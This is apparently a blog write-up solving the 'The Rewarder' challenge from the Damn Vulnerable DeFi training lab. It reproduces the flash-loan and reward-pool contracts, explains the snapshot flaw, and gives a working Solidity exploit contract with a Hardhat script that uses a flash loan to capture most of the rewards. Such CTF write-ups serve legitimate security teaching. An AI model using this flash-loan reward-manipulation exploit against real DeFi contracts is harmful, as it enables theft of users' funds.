Damn Vulnerable DeFi - The Rewarder

The contract

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

This time there are multiple contracts. Two of them are just the contracts that represent the tokens, one for the token in the pool that gives out rewards (let's call that "rewardtoken") and one for the pool that offers flash loan functionalities (which we'll call "loantoken"). Basic ERC20 tokens, nothing too interesting here.
Moving one, let's examine the contract that gives out flash loans.

contract FlashLoanerPool is ReentrancyGuard {
    using Address for address;

    DamnValuableToken public immutable liquidityToken;

    error NotEnoughTokenBalance();
    error CallerIsNotContract();
    error FlashLoanNotPaidBack();

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }

    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));

        if (amount > balanceBefore) {
            revert NotEnoughTokenBalance();
        }

        if (!msg.sender.isContract()) {
            revert CallerIsNotContract();
        }

        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));

        if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
            revert FlashLoanNotPaidBack();
        }
    }
}

It's very simple: ask for a loan amount, and if the contract has enough funds it will send them to you. Two important notes, the caller of the functionality MUST BE A CONTRACT and it must implement a "receiveFlashLoan" function to perform the callback functionality of using the money for whatever is needed and then return it to the loaner.

The rewarding contract is as follows:

contract TheRewarderPool {
    using FixedPointMathLib for uint256;

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public constant REWARDS = 100 ether;

    // Token deposited into the pool by users
    address public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public immutable accountingToken;

    // Token in which rewards are issued
    RewardToken public immutable rewardToken;

    uint128 public lastSnapshotIdForRewards;
    uint64 public lastRecordedSnapshotTimestamp;
    uint64 public roundNumber; // Track number of rounds
    mapping(address => uint64) public lastRewardTimestamps;

    error InvalidDepositAmount();

    constructor(address _token) {
        // Assuming all tokens have 18 decimals
        liquidityToken = _token;
        accountingToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    /**
     * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
     *         Also distributes rewards if available.
     * @param amount amount of tokens to be deposited
     */
    function deposit(uint256 amount) external {
        if (amount == 0) {
            revert InvalidDepositAmount();
        }

        accountingToken.mint(msg.sender, amount);
        distributeRewards();

        SafeTransferLib.safeTransferFrom(
            liquidityToken,
            msg.sender,
            address(this),
            amount
        );
    }

    function withdraw(uint256 amount) external {
        accountingToken.burn(msg.sender, amount);
        SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
    }

    function distributeRewards() public returns (uint256 rewards) {
        if (isNewRewardsRound()) {
            _recordSnapshot();
        }

        uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
        uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
            if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
            }
        }
    }

    function _recordSnapshot() private {
        lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
        lastRecordedSnapshotTimestamp = uint64(block.timestamp);
        unchecked {
            ++roundNumber;
        }
    }

    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp
                && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }

    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

A user can deposit money and withdraw it. The important things to note here are:

  1. if enough time since the last reward round has passed, a user that has money deposited in the pool will receive rewards BASED ON THEIR CURRENT SHARE OF THE POOL
  2. there is no check or reward for staying long periods of time in the pool

The solution

Right now the attack vector should seem clear:

  1. if we can deposit in a new reward round, we can take part in the reward distribution
  2. if we can deposit a big load of tokens, we can become a major share of the pool, thus retrieving most of the reward tokens

So, what an attacker should do can be resumed as follows:

  1. create a contract (remember only contracts can interact with the flash loan functionality)
  2. ask for a flash loan
  3. deposit the loaned amount in the reward contract
  4. the deposit triggers the distribution of rewards. As the attacker has a large share of the pool, he gets a large share of the rewards
  5. withdraw all the deposited amount from the reward pool and return it to repay the loan
  6. win. Move the rewards to the "player" address to pass the challenge

Here is my sample contract to perform exactly what is described above:

contract RewarderSolver {
    FlashLoanerPool loaner;
    TheRewarderPool rewarder;
    address final_user;
    DamnValuableToken loan_token;
    RewardToken reward_token;

    constructor(address flashLoanerPool, address theRewarderPool, address player, address loan_currency, address reward_currency) {
        loaner = FlashLoanerPool(flashLoanerPool);
        rewarder = TheRewarderPool(theRewarderPool);
        final_user = player;
        loan_token = DamnValuableToken(loan_currency);
        reward_token = RewardToken(reward_currency);
    }

    function receiveFlashLoan(uint256 amount) external {
        loan_token.approve(address(rewarder), amount);
        rewarder.deposit(amount);
        rewarder.withdraw(amount);
        loan_token.transfer(address(loaner), amount);
        uint rew_amount = reward_token.balanceOf(address(this));
        reward_token.transfer(final_user, rew_amount);
    }

    function attack() public {
        uint amount = loan_token.balanceOf(address(loaner));
        loaner.flashLoan(amount);
        }
}

To pass the challenge, you need to deploy the contract and start the attack function, like this:

const rewarderSolverFactory = await ethers.getContractFactory("RewarderSolver", player);
const RewarderSolver = await rewarderSolverFactory.deploy(flashLoanPool.address, rewarderPool.address, player.address, liquidityToken.address, rewardToken.address);
await RewarderSolver.connect(player);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
await RewarderSolver.attack();

Merry hacking ;)


You'll only receive email when they publish something new.

More from emacab98
All posts